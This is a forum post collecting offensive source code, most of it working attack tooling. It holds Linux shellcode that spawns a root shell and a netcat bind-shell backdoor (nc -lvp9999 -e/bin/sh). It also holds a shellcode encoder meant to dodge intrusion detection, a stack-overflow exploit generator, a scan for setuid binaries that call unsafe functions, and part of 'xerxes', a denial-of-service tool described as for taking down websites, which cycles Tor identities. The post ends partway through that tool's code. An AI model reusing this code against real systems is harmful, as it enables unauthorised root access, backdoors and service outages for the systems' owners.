GreySec Forums

Exploit source-codes - Printable Version

+- GreySec Forums (*https://greysec.net*)
+-- Forum: Programming and Development (*https://greysec.net/forumdisplay.php?fid=16*)
+--- Forum: General Programming (*https://greysec.net/forumdisplay.php?fid=17*)
+--- Thread: Exploit source-codes (*/showthread.php?tid=7077*)

Exploit source-codes - Insider - **07-08-2020**

Exploit source-codes

Credits: MINDZSEC

[Introduction]

This paper is about sources to make hacking done and different exploits by others. Here i have collected the most used sources to conduct a [Penetration Test][Hacking][Exploit Development][Forensics][Stack Smashing].

Here we go with sources.

[Get_SP.c]
Code:
```
/* Get stack pointer of the system(Unix/Linux) */
#iclude <stdio.h>
unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x\n", get_sp());
}
```

[Getshell.asm]
Code:
```
;Universal Shellcode for Unix/Linux
section .text          ; Text section
        global _start  ; Define _start function

_start:                ; _start function
xor eax, eax            ; Zero out eax REGister
xor ebx, ebx            ; Zero out ebx REGister
xor ecx, ecx            ; Zero out ecx REGister
cdq                    ; Zero out edx using the sign bit from eax
push ecx                ; Insert 4 byte null in stack
push 0x68732f6e        ; Insert /bin in the stack
push 0x69622f2f        ; Insert //sh in the stack
mov  ebx, esp          ; Put /bin//sh in stack
push ecx                ; Put 4 Byte in stack
push ebx                ; Put ebx in stack
mov  ecx, esp          ; Insert ebx address in ecx
xor  eax, eax          ; Zero out eax register
mov  al, 11            ; Insert __NR_execve 11 syscall
int  0x80              ; Syscall execute
```

[Netcat.asm]
Code:
```
;Author Flor Ian MINDZSEC
;Contact flor_iano@hotmail.com
;Program to make a netcat backdoor to inject as a shellcode
jmp short todo
shellcode:
xor eax, eax ; Zero out eax
xor ebx, ebx ; Zero out ebx
xor ecx, ecx ; Zero out ecx
xor edx, edx ; Zero out edx using the sign bit from eax
mov BYTE al, 0xa4 ; setresuid syscall 164 (0xa4)
int 0x80 ; syscall execute
pop esi ; esi contain the string in db
xor eax, eax ; Zero out eax
```

```
mov[esi + 7], al ; null terminate /bin/nc
mov[esi +  16], al ; null terminate -lvp90
mov[esi +  26], al ; null terminate -e/bin/sh
mov[esi +  27], esi ; store address of /bin/nc in AAAA
lea ebx, [esi + 8] ; load address of -lvp90 into ebx
mov[esi +31], ebx ; store address of -lvp90 in BBB taken from ebx
lea ebx, [esi + 17] ; load address of -e/bin/sh into  ebx
mov[esi + 35], ebx ; store address of -e/bin/sh in CCCC taken from ebx
mov[esi + 39], eax ; Zero out DDDD
mov al, 11 ; 11 is execve  syscakk number
mov ebx, esi ; store address of  /bin/nc
lea ecx, [esi + 27] ; load address of ptr to argv[] array
lea edx, [esi + 39] ; envp[] NULL
int 0x80 ; syscall execute
todo:
call shellcode
db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'
;  0123456789012345678901234567890123456789012
```

[AsmCompiler.sh]
Code:
```
#!/bin/bash
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename\n\n"
    exit
fi
filename=`echo $1 | sed s/"\$"//`
nasm -f elf $filename.asm && ld $filename.o -o $filename

echo "Successfully compiled."
```

[XXDShellcode.sh]
Code:
```
#Get Shellcode form an executable file
#!/bin/bash
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.o\n\n"
    exit
fi
filename=`echo $1 | sed s/"\$"//`
rm -f $filename.shellcode

objdump -d $filename | grep '[0-9a-f]:' |
grep -v 'file' | cut -f2 -d: |
cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' |
sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s |
sed 's/^/"/' | sed 's/$/"/g'

echo
```

[S-Proc.c]
Code:
```
/* Test Shellcode */
/*
* Generic program for testing shellcode byte arrays.
* Created by zillion and EVL
*
* Safemode.org !! Safemode.org !!
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>

/*
* Print message
*/
static void
```

```
croak(const char *msg) {
    fprintf(stderr, "%s\n", msg);
    fflush(stderr);
}
/*
* Educate user.
*/
static void
usage(const char *prgnam) {
    fprintf(stderr, "\nExecute code : %s -e <file-containing-shellcode>\n", prgnam);
    fprintf(stderr, "Convert code : %s -p <file-containing-shellcode> \n\n", prgnam);
    fflush(stderr);
    exit(1);
}
/*
* Signal error and bail out.
*/
static void
barf(const char *msg) {
    perror(msg);
    exit(1);
}

/*
* Main code starts here
*/

int
main(int argc, char **argv) {
    FILE        *fp;
    void        *code;
    int        arg;
    int        i;
    int        l;
    int    m = 15; /* max # of bytes to print on one line */

    struct stat sbuf;
    long        flen;  /* Note: assume files are < 2**32 bytes long ;-) */
    void        (*fptr)(void);

    if(argc < 3) usage(argv[0]);
    if(stat(argv[2], &sbuf)) barf("failed to stat file");
    flen = (long) sbuf.st_size;
    if(!(code = malloc(flen))) barf("failed to grab required memeory");
    if(!(fp = fopen(argv[2], "rb"))) barf("failed to open file");
    if(fread(code, 1, flen, fp) != flen) barf("failed to slurp file");
    if(fclose(fp)) barf("failed to close file");

    while ((arg = getopt (argc, argv, "e:p:")) != -1){
      switch (arg){
      case 'e':
        croak("Calling code ...");
        fptr = (void (*)(void)) code;
        (*fptr)();
        break;
      case 'p':
        printf("\n\nchar shellcode[] =\n");
        l = m;
        for(i = 0; i < flen; ++i) {
          if(l >= m) {
            if(i) printf("\"\n");
            printf( "\t\"");
            l = 0;
          }
          ++l;
          printf("\\x%02x", ((unsigned char *)code)[i]);
        }
        printf("\";\n\n\n");

        break;
      default :
        usage(argv[0]);
      }
    }


    return 0;
}
```

[ShellcodeEncode.c]
Code:

```
#include <stdlib.h>
#include <string.h>

/*
*  Shellcode encoder 0.1 by zillion (safemode.org)
*
*  Wish list :
*  -----------
*
*  - Make the decoder polymorphic
*  - Add OS detection (see safemode)
*
*  How to use it :
*  ---------------
*
*  Replace the shellcode with any shellcode, compile this file
*  and execute it. The decoder is OS independent and can thus be
*  used for any OS on Intel. The purpose:
*
*  - Lower chance of IDS detection
*  - Counter difficult characters
*  - Confuse sans students  ;-)
*
*  The decoder :
*  -------------
*
*  jmp short go
*  next:
*
*  pop            esi
*  xor            ecx,ecx
*  mov            cl,11
*  change:
*  sub byte        [esi + ecx - 1 ],11
*  sub            cl, 1
*  jnz change
*  jmp short ok
*  go:
*  call next
*  ok:
*  <shellcode comes here>
*
*/

void execute(char *  data);

int main() {

char decoder[] =
        "\xeb\x11\x5e\x31\xc9\xb1\x00\x80\x6c\x0e\xff\x00\x80\xe9\x01"
        "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff";

char shellcode[] =
        "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd"
        "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23";

char tmp;
char *end;
int size  = 53;
int i;
int l = 15;

for(i=0;i<strlen(shellcode);i++) {

  shellcode[i] += size;
}
        decoder[6]  += strlen(shellcode);
        decoder[11] += size;

end = (char *) malloc(strlen(shellcode) + strlen(decoder));

strcat(end,decoder);
strcat(end,shellcode);

        printf("\n\nchar shellcode[] =\n");

        for(i = 0; i < strlen(end); ++i) {
          if(l >= 15) {
            if(i) printf("\"\n");
            printf( "\t\"");
            l = 0;
          }
          ++l;
          printf("\\x%02x", ((unsigned char *)end)[i]);
        }

execute(end);
free(end);
}


void execute(char *data) {

int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)data;

}
```

[Shtester.c]
Code:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h> /* See NOTES */
#include <sys/wait.h>
#include <sys/socket.h>

/*-------------------------------------------
    Shellcode testing program
    Usage:
        shtest [-s socked_fd_no] {-f file | $'\xeb\xfe' | '\xb8\x39\x05\x00\x00\xc3'}
    Usage example:
        $ shtest $'\xeb\xfe'                # raw shellcode
        $ shtest '\xb8\x39\x05\x00\x00\xc3'  # escaped shellcode
        $ shtest -f test.sc                  # shellcode from file
        $ shtest -f <(python gen_payload.py) # test generated payload
        $ shtest -s 5 -f test.sc            # create socket at fd=5
            # Allows to test staged shellcodes
            # Flow is redirected like this: STDIN -> SOCKET -> STDOUT
    Compiling:
        gcc -Wall shtest.c -o shtest
    Author: hellman (hellman1908@gmail.com)
-------------------------------------------*/

char buf[4096];
int pid1, pid2;
int sock;
int ready;

void usage(char * err);
int main(int argc, char **argv);
```

```
void load_from_file(char *fname);
void copy_from_argument(char *arg);
void escape_error();

int create_sock();
void run_reader(int);
void run_writer(int);
void set_ready(int sig);

void run_shellcode(void *sc_ptr);


void usage(char * err) {
    printf("    Shellcode testing program\n\
    Usage:\n\
        shtest {-f file | $'\\xeb\\xfe' | '\\xb8\\x39\\x05\\x00\\x00\\xc3'}\n\
    Usage example:\n\
        $ shtest $'\\xeb\\xfe'                 # raw shellcode\n\
        $ shtest '\\xb8\\x39\\x05\\x00\\x00\\xc3'  # escaped shellcode\n\
        $ shtest -f test.sc                  # shellcode from file\n\
        $ shtest -f <(python gen_payload.py) # test generated payload\n\
        $ shtest -s 5 -f test.sc            # create socket at fd=5 (STDIN <- SOCKET -> STDOUT)\n\
            # Allows to test staged shellcodes\
            # Flow is redirected like this: STDIN -> SOCKET -> STDOUT\
    Compiling:\n\
        gcc -Wall shtest.c -o shtest\n\
    Author: hellman (hellman1908@gmail.com)\n");
    if (err) printf("\nerr: %s\n", err);
    exit(1);
}

int main(int argc, char **argv) {
    char * fname = NULL;
    int c;

    pid1 = pid2 = -1;
    sock = -1;

    while ((c = getopt(argc, argv, "hus:f:")) != -1) {
        switch (c) {
            case 'f':
                fname = optarg;
                break;
            case 's':
                sock = atoi(optarg);
                if (sock <= 2 || sock > 1024)
                    usage("bad descriptor number for sock");
                break;
            case 'h':
            case 'u':
                usage(NULL);
            default:
                usage("unknown argument");
        }
    }

    if (argc == 1)
        usage(NULL);

    if (optind < argc && fname)
        usage("can't load shellcode both from argument and file");

    if (!(optind < argc) && !fname)
        usage("please provide shellcode via either argument or file");

    if (optind < argc) {
        copy_from_argument(argv[optind]);
    }
    else {
        load_from_file(fname);
    }
```

```
        //create socket if needed
        if (sock != -1) {
            int created_sock = create_sock(sock);
            printf("Created socket %d\n", created_sock);
        }

        run_shellcode(buf);
        return 100;
    }

    void load_from_file(char *fname) {
        FILE * fd = fopen(fname, "r");
        if (!fd) {
            perror("fopen");
            exit(100);
        }

        int c = fread(buf, 1, 4096, fd);
        printf("Read %d bytes from '%s'\n", c, fname);
        fclose(fd);
    }

    void copy_from_argument(char *arg) {
        //try to translate from escapes ( \xc3 )

        bzero(buf, sizeof(buf));
        strncpy(buf, arg, sizeof(buf));

        int i;
        char *p1 = buf;
        char *p2 = buf;
        char *end = p1 + strlen(p1);

        while (p1 < end) {
            i = sscanf(p1, "\\x%02x", (unsigned int *)p2);
            if (i != 1) {
                if (p2 == p1) break;
                else escape_error();
            }

            p1 += 4;
            p2 += 1;
        }
    }

    void escape_error() {
        printf("Shellcode is incorrectly escaped!\n");
        exit(1);
    }

    int create_sock() {
        int fds[2];
        int sock2;

        int result = socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
        if (result == -1) {
            perror("socket");
            exit(101);
        }

        if (sock == fds[0]) {
            sock2 = fds[1];
        }
        else if (sock == fds[1]) {
            sock2 = fds[0];
        }
        else {
            dup2(fds[0], sock);
            close(fds[0]);
            sock2 = fds[1];
        }

        ready = 0;
        signal(SIGUSR1, set_ready);

        /*
        writer: stdin -> socket (when SC exits/fails, receives SIGCHLD and exits)
        \--> main: shellcode (when exits/fails, sends SIGCHLD to writer and closes socket)
            \--> reader: sock -> stdout (when SC exits/fails, socket is closed and reader exits)
        main saves pid1 = reader,
                  pid2 = writer
        to send them SIGUSR1 right before running shellcode
        */

        pid1 = fork();
        if (pid1 == 0) {
            close(sock);
            run_reader(sock2);
        }

        pid2 = fork();
        if (pid2 > 0) { // parent - writer
            signal(SIGCHLD, exit);
            close(sock);
            run_writer(sock2);
        }
        pid2 = getppid();

        close(sock2);
        return sock;
    }

    void run_reader(int fd) {
        char buf[4096];
        int n;

        while (!ready) {
            usleep(0.1);
        }

        while (1) {
            n = read(fd, buf, sizeof(buf));
            if (n > 0) {
                printf("RECV %d bytes FROM SOCKET: ", n);
                fflush(stdout);
                write(1, buf, n);
            }
            else {
                exit(0);
            }
        }
    }

    void run_writer(int fd) {
        char buf[4096];
        int n;

        while (!ready) {
            usleep(0.1);
        }

        while (1) {
            n = read(0, buf, sizeof(buf));
            if (n > 0) {
                printf("SENT %d bytes TO SOCKET\n", n);
                write(fd, buf, n);
            }
            else {
                shutdown(fd, SHUT_WR);
                close(fd);
                wait(&n);
                exit(0);
            }
        }
    }
```

```
void set_ready(int sig) {
    ready = 1;
}

void run_shellcode(void *sc_ptr) {
    int ret = 0, status = 0;
    int (*ptr)();

    ptr = sc_ptr;
    mprotect((void *) ((unsigned int)ptr & 0xfffff000), 4096 * 2, 7);

    void *esp, *ebp;
    void *edi, *esi;

    asm ("movl %%esp, %0;"
        "movl %%ebp, %1;"
        :"=r"(esp), "=r"(ebp));

    asm ("movl %%esi, %0;"
        "movl %%edi, %1;"
        :"=r"(esi), "=r"(edi));

    printf("Shellcode at %p\n", ptr);
    printf("Registers before call:\n");
    printf("  esp: %p, ebp: %p\n", esp, ebp);
    printf("  esi: %p, edi: %p\n", esi, edi);

    printf("----------------------\n");
    if (pid1 > 0) kill(pid1, SIGUSR1);
    if (pid2 > 0) kill(pid2, SIGUSR1);

    ret = (*ptr)();

    if (sock != -1)
        close(sock);

    wait(&status);

    printf("----------------------\n");

    printf("Shellcode returned %d\n", ret);
    exit(0);
}
```

[C ProgramToTestShellcode.c]
Code:
```
#include <stdio.h>  //IO header
#include <string.h> //Functions on favor of strings
#include <stdlib.h> //exit() function
char shellcode[] = ""; /* Global array */
int main(int argc, char **argv)
{
int (*ret)(); /* ret is a func pointer*/
ret = (int(*)())shellcode; /* ret points to our shellcode */

(int)(*ret)(); /* shellcode is type caste as a function */
exit(0); /* exit() */
}
```

[Mman.c]
Code:
```
/* Sys mman shellcode tester */
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int (*shellcodetotest)();
char shellcode[] = ""; /* Put your shellcode here */

int main(int argc, char **argv)
{
```

```
void *ptr = mmap(0, 150, PROT_EXEC | PROT_WRITE| PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if(ptr == MAP_FAILED)
{
perror("mmap");
exit(-1);
}

memcpy(ptr, shellcode, sizeof(shellcode));
shellcodetotest = ptr;
shellcodetotest();
return 0;
}
```

[ntcat.c]
Code:
```
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main()
{
setresuid(0,0,0); /* Set res UID 0 0 0 to all program */
char *envp[] = { NULL };
char *argv[] = {"/bin/nc", "-lvp9999", "-e/bin/sh", NULL};
int ret = execve("/bin/nc", argv, envp); /* exec the command */
}
```

[Setresuid.s]
Code:
```
;Taken from Hacking the Art of Exploitation 2nd
;ASM Program to get setresuid shell
BITS 32

; setresuid(uid_t ruid, uid_t euid, uid_t suid);
  xor eax, eax ; zero out eax
  xor ebx, ebx ; zero out ebx
  xor ecx, ecx ; zero out ecx
  xor edx, edx ; zero out edx
  mov al,  0xa4 ; 164 (0xa4) for syscall #164
  int 0x80 ; setresuid(0, 0, 0) restore all root privs

; execve(const char *filename, char *const argv[], char *const envp[])
  xor eax, eax ; make sure eax is zeroed again
  mov al,  11 ; syscall #11
  push ecx ; push some nulls for string termination
  push 0x68732f2f ; push "//sh" to the stack
  push 0x6e69622f ; push "/bin/" to the stack
  mov ebx, esp ; put the address of "/bin//sh" into ebx, via esp
  push ecx ; push 32-bit null terminator for envp
  mov edx, esp ; this is an empty array for envp
  push ebx ; push string addr to stack above null terminator
  mov ecx, esp ; this is the argv array with string ptr
  int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
```

[Getevaddr.c]
Code:
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
        char *ptr;

        if(argc < 2) {
                printf("Usage: %s <environment variable> \n", argv[0]);
                exit(0);
        }
        ptr = getenv(argv[1]);
        printf("%s will be at %p\n", argv[1], ptr);
}
```

[0x333xes.c]
Code:
```
/*  0x333xes => stack overflow exploit generator
```

```
*
*  simple stack overflow exploit generator, that permits
*  you to generate a -working- exploit source code. to make
*  your exploit correctly works, 'xes' try to automatically
*  find the correct ret address
*
*  coded by c0wboy
*
*  ~ www.0x333.org ~
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>


#define VERSION      "0.3"

#define EXPLOIT      "exploit.c"
#define TEST          "xes"        /* file created with test shellcode */

#define XES_std      0xbffff300  /* address we start from to search for RET */
#define XES_env      0xbfffe0ff  /* that is not really true ... but by testing
                                   * i found some ENV located there ...
                                   */

#define MAX_LENGHT    10240  /* max buffer-lenght to exploit */
#define MAX_EVIL      1337  /* max ret-buffer lenght */
#define MAX          4      /* max shellcodes supported */

#define fatal(x...)  { fprintf (stderr, ##x); exit(-333); }
#define offset(x)    0xbfffffff - x


typedef struct {
        char * sh_name;
        char * sh_type;
} sharkode;

sharkode shark[] = {

  {
      " \"touch xes\" shellcode [-test only-]",
      "unsigned char test[] =\n\t"
      "\"\\xeb\\x30\\x5e\\x89\\x76\\x16\\x31\\xc0\\x88\"\n\t"
      "\"\\x46\\x08\\x88\\x46\\x0b\\x88\\x46\\x15\\x89\"\n\t"
      "\"\\x46\\x22\\xb0\\x0b\\x8d\\x5e\\x09\\x89\\x5e\"\n\t"
      "\"\\x1a\\x8d\\x5e\\x0c\\x89\\x5e\\x1e\\x89\\xf3\"\n\t"
      "\"\\x8d\\x4e\\x16\\x8d\\x56\\x22\\xcd\\x80\\x31\"\n\t"
      "\"\\xc0\\xb0\\x01\\xcd\\x80\\xe8\\xcb\\xff\\xff\"\n\t"
      "\"\\xff\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\"\n\t"
      "\"\\x20\\x2d\\x63\\x20\\x74\\x6f\\x75\\x63\\x68\"\n\t"
      "\"\\x20\\x78\\x65\\x73\";"
  },

  {
      " execve(/bin/sh); [linux]",
      "unsigned char sharkode[] =\n\t"
      "\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t"
      "\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x99\\x52\\x53\"\n\t"
      "\"\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";"
  },

  {
      " execve(/bin/sh); [*BSD]",
      "unsigned char sharkode[] =\n\t"
      "\"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\"\n\t"
      "\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x54\\x53\"\n\t"
      "\"\\x50\\xb0\\x3b\\xcd\\x80\";"
  },
  {
      " setreuid(0,0)  shellcode",
      "unsigned char sharkode[] =\n\t"
      "\"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb0\\x46\\xcd\"\n\t"
      "\"\\x80\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\"\n\t"
      "\"\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x8d\\x54\"\n\t"
      "\"\\x24\\x08\\x50\\x53\\x8d\\x0c\\x24\\xb0\\x0b\"\n\t"
      "\"\\xcd\\x80\\x31\\xc0\\xb0\\x01\\xcd\\x80\";"
  },

  { NULL, NULL },
};

int off = 0;

// prototypes
int main (int, char * []);
void usage (char *);
void shak_list (void);
unsigned long xes (int); /* find correct ret address */

void
usage (char * prg)
{
  fprintf (stderr, "\n [~] 0x333xes => stack overflow exploit generator v%s [~]\n", VERSION);
  fprintf (stderr, " [~]          coded by c0wboy ~ www.0x333.org          [~] \n\n");
  fprintf (stderr, " Usage : %s [ -b binary ] [ -e environ ] [ -w switch ]", prg);
  fprintf (stderr, " [ -s type ] [ -x ] [ -l lenght ] [ -o lenght ] [ -a align ] [ -h ]\n");
  fprintf (stderr, "\n \t-b\tbugged binary\n");
  fprintf (stderr, " \t-e\tset environ variable bugged\n");
  fprintf (stderr, " \t-w\tset switch bugged\n");
  fprintf (stderr, " \t-s\tshellcode type [0-%d]\n", MAX-1);
  fprintf (stderr, " \t-x\tshellcode list\n");
  fprintf (stderr, " \t-l\tbuffer lenght\n");
  fprintf (stderr, " \t-o\tevil buffer (nop+shellcode) lenght (default 1337)\n");
  fprintf (stderr, " \t-a\talign the buffer (try 1)\n");
  fprintf (stderr, " \t-h\tdisplay this help\n\n");

  exit (-333);
}

void
shak_list (void)
{
  int list;
  fprintf (stdout, "\n [~] Shellcode Types :\n");
  fprintf (stdout, " --------------------- \n");

  for (list = 0; shark[list].sh_name != NULL; ++list)
      fprintf (stdout, " [%d] %s\n", list, shark[list].sh_name);
  fprintf (stdout, "\n");

  exit (-333);
}

unsigned long
xes (int hard)
{
  int ret;
  char wuffer[33];
  unsigned long xes;
  FILE * cya, * fd;

  if (off)
      xes=XES_env;
  else
      xes=XES_std;

  for (ret=1 ; ret < (offset(xes)) ; ret++, xes++)
  {
      bzero (wuffer, 33);
      sprintf (wuffer, "./exploit 0x%x", xes);
```

```
        fprintf (stdout, " * testing 0x%x\n", xes);
        if ((cya=popen (wuffer, "r")) == NULL)
          fatal (" [-] Error in testing exploit ...\n\n");

        if ((fd=fopen(TEST, "r")))
        {
          pclose(cya);
          fclose(fd);
          return (xes+ 0xdf);
        }
        pclose(cya);
    }

    if(!hard)
        fprintf (stderr, " [~] ret address NOT found ..\n [~] we suppose :\n\n"
                         "
  [*]wrong buffer align\n [~] try to solve this problem ...\n");

    return (0x333);
  }


  int
  main (int argc, char * argv[])
  {
    int c, s=0, len=0, out=MAX_EVIL, step=0, align=0, hard=0;
    char exe[100], *bin=NULL, *w=NULL, *env=NULL;
    unsigned long ret_add;
    FILE * fd;

    while(( c = getopt (argc, argv, "xhb:e:w:s:l:o:a:")) != EOF)
    {
        switch(c)
        {
          case 'b' : bin = optarg; break;

          case 'e' :
              env = optarg;
              off=1;
              break;

          case 'w' : w = optarg; break;

          case 's' : /* shellcode types */
              s = atoi(optarg);
              if ((s<0) || (s>MAX-1))
                usage (argv[0]);
              break;

          case 'x' : shak_list();

          case 'l' :
              len = atoi(optarg);
              if (len>MAX_LENGHT)
                fatal (" [-] explotable-buffer is too long\n");
              break;

          case 'o' :
              out = atoi(optarg);
              if (out>MAX_EVIL)
                fatal (" [-] ret-buffer too long\n");
              break;

          case 'a' : align = atoi(optarg); break;
          case 'h' : usage(argv[0]);
          default  : usage(argv[0]);
        }
    }

    if ((!bin) || (!len) || ((env) && (w)))
        usage(argv[0]);
    fprintf (stdout, "\n [~] 0x333xes => stack flow exploit generator [~]\n");
    fprintf (stdout, " [~]      coded by c0wboy ~ www.0x333.org    [~] \n\n");
    fprintf (stdout, "
  [*]creating source code ...\n");


  do_sploit :  /* when ret is found, we re-write the exploit */

    system ("rm -rf xes");

    if((fd = fopen (EXPLOIT, "w")) == NULL)
        fatal (" [-] Error in creating %s\n", EXPLOIT);

    fprintf (fd, "/*  Generated with 0x333xes ~ coded by c0wboy\n *");
    fprintf (fd, "\n *  ~ www.0x333.org ~\n *\n */ ");

    /* setting header */
    fprintf (fd, "\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n");
    fprintf (fd, "#include <string.h>\n\n#define BIN\t\"%s\"\n#define NOP\t0x90\n", bin);
    fprintf (fd, "#define BUFFER\t%i\n", len);

    if (!env)
        fprintf (fd, "#define OUTSIDE\t%i\n", out);

    if (hard)
        align = 1;

    if (!align)
        fprintf (fd, "#define ALIGN\t0\n");
    else
        fprintf (fd, "#define ALIGN\t%d\n", align);

    if (step)
        fprintf (fd, "#define RET\t0x%x\n", ret_add);

    /* setting shellcode */
    if (step)
        fprintf (fd, "\n\n%s\n", shark[s].sh_type);
    else
        fprintf (fd, "\n\n%s\n", shark[0].sh_type); /* test-shellcode */

    /* setting main() */
    if (step)
        fprintf (fd, "int\nmain ()\n");
    else
        fprintf (fd, "int\nmain (int argc, char * argv[])\n");

    if (env)
        fprintf (fd, "{\n  int x;\n  char buf[BUFFER], *bufz;\n");
    else
        fprintf (fd, "{\n  int x;\n  char buf[BUFFER], out[OUTSIDE], *bufz;\n");

    if (step)
        fprintf (fd, "  unsigned long ret_add = RET, *add_ptr ;\n\n");
    else
        fprintf (fd, "  unsigned long ret_add, *add_ptr ;\n\n"
                    "  if (argc != 2)\n      exit (-333);\n\n"
                    "  ret_add = strtoul (argv[1], &argv[1], 16);\n\n");

    fprintf (fd, "  bufz = buf + ALIGN;\n  add_ptr = (long *)bufz;\n\n"
                  "  for (x=0; x<BUFFER-1; x+=4)\n"
                  "      *(add_ptr++)=ret_add;\n\n");

    if (env)
    {
        if (step)
        {
          fprintf (fd, "  /* nop + shellcode */\n  memset ((char *)buf, NOP, 333 + "
                        "strlen (sharkode));\n  memcpy ((char *)buf+333, sharkode, "
                        "strlen (sharkode));\n\n");
        }
        else
        {
          fprintf (fd, "  /* nop + shellcode */\n  memset ((char *)buf, NOP, 333 + "
                        "strlen (test));\n  memcpy ((char *)buf+333, test, strlen "
                        "(test));\n\n");
        }
    }
    else /* standard exploiting */
    {
        fprintf (fd, "  /* nop + shellcode */\n  memset ((char *)out, NOP, OUTSIDE);\n");

        if (step)
          fprintf (fd, "  memcpy ((char *)out + 333, sharkode, strlen(sharkode));\n\n");
        else
          fprintf (fd, "  memcpy ((char *)out + 333, test, strlen(test));\n\n");

        fprintf (fd, "  memcpy((char *)out, \"OUT=\", 4);\n  putenv(out);\n\n");
    }

    /* environment bugged ? */
    if (env)
    {
        if(step)
          fprintf (fd, "\n");

        fprintf (fd, "  setenv (\"%s\", buf, 333);\n", env);
    }

    if (step)
        fprintf (fd, "\n  fprintf (stdout, \" Local exploit for %s\");\n", bin);

    /* switch ? */
    if (w)
        fprintf (fd, "  execl (BIN, BIN, \"%s\", buf, NULL);\n", w);
    else
    {
        if (env)
          fprintf (fd, "  execl (BIN, BIN, NULL);\n");
        else
          fprintf (fd, "  execl (BIN, BIN, buf, NULL);\n");
    }

    fprintf (fd, "\n  return 0;\n}\n\n");
    fclose (fd);

    /* compile & test exploit */
    if (!step)
    {
        sprintf (exe, "gcc %s -o exploit", EXPLOIT);
        system (exe);

        fprintf (stdout, "
  [*]exploit created\n");
        fprintf (stdout, "
  [*]now find correct ret add\n");

        if (( ret_add = xes (hard) ) == 0x333)
        {
          if (hard)
          {
              fprintf (fd, " [-] exploit doesn't work ...\n"
                          "    [**] maybe binary has not -stack- overflow problem [**]\n"
                          " [-] other problems can be detected by reading source code ...\n"
                          " [-] sorry\n");
            exit (-333);
          }
          else
              hard=1;

          goto do_sploit;
        }
        else
        {
          step=1;
          goto do_sploit;
```

```
      }
  }

  system ("rm -rf exploit xes");
  fprintf (stdout, "\n
[*]your working exploit for %s is ready !\n\n", bin);
  return 0;
}
```

[findvuln.sh]
Code:

```
#Find setuid programs
#!/bin/sh
tempfile="/tmp/$0.$$"
trap "rm $tempfile" 0
find / \( -type f -a -user root -a -perm -4001 \) -print > $tempfile
for file in `cat $tempfile`; do
strings -a $file | awk '/^gets$|^strcpy$|^strcat$|^sprintf$/\
{ printf ("%-10s \t %-50s \n"), $1, file }' "file=$file" -
done
```

[xerxes.c]
Code:

```
/* DoS tool to take down website made by Jester */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <netdb.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>


int make_socket(char *host, char *port) {
struct addrinfo hints, *servinfo, *p;
int sock, r;
// fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  exit(0);
}
for(p = servinfo; p != NULL; p = p->ai_next) {
  if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  continue;
  }
  if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  close(sock);
  continue;
  }
  break;
}
if(p == NULL) {
  if(servinfo)
  freeaddrinfo(servinfo);
  fprintf(stderr, "No connection could be made\n");
  exit(0);
}
if(servinfo)
  freeaddrinfo(servinfo);
fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
return sock;
}
```

```
void broke(int s) {
// do nothing
}


#define CONNECTIONS 8
#define THREADS 48


void attack(char *host, char *port, int id) {
int sockets[CONNECTIONS];
int x, g=1, r;
for(x=0; x!= CONNECTIONS; x++)
  sockets[x]=0;
signal(SIGPIPE, &broke);
while(1) {
  for(x=0; x != CONNECTIONS; x++) {
  if(sockets[x] == 0)
    sockets[x] = make_socket(host, port);
  r=write(sockets[x], "\0", 1);
  if(r == -1) {
    close(sockets[x]);
    sockets[x] = make_socket(host, port);
  } else
//    fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  fprintf(stderr, "[%i: Voly Sent]\n", id);
  }
  fprintf(stderr, "[%i: Voly Sent]\n", id);
  usleep(300000);
}
}


void cycle_identity() {
int r;
int socket = make_socket("localhost", "9050");
write(socket, "AUTHENTICATE \"\"\n", 16);
while(1) {
  r=write(socket, "signal NEWNYM\n\x00", 16);
  fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  usleep(300000);
}
}


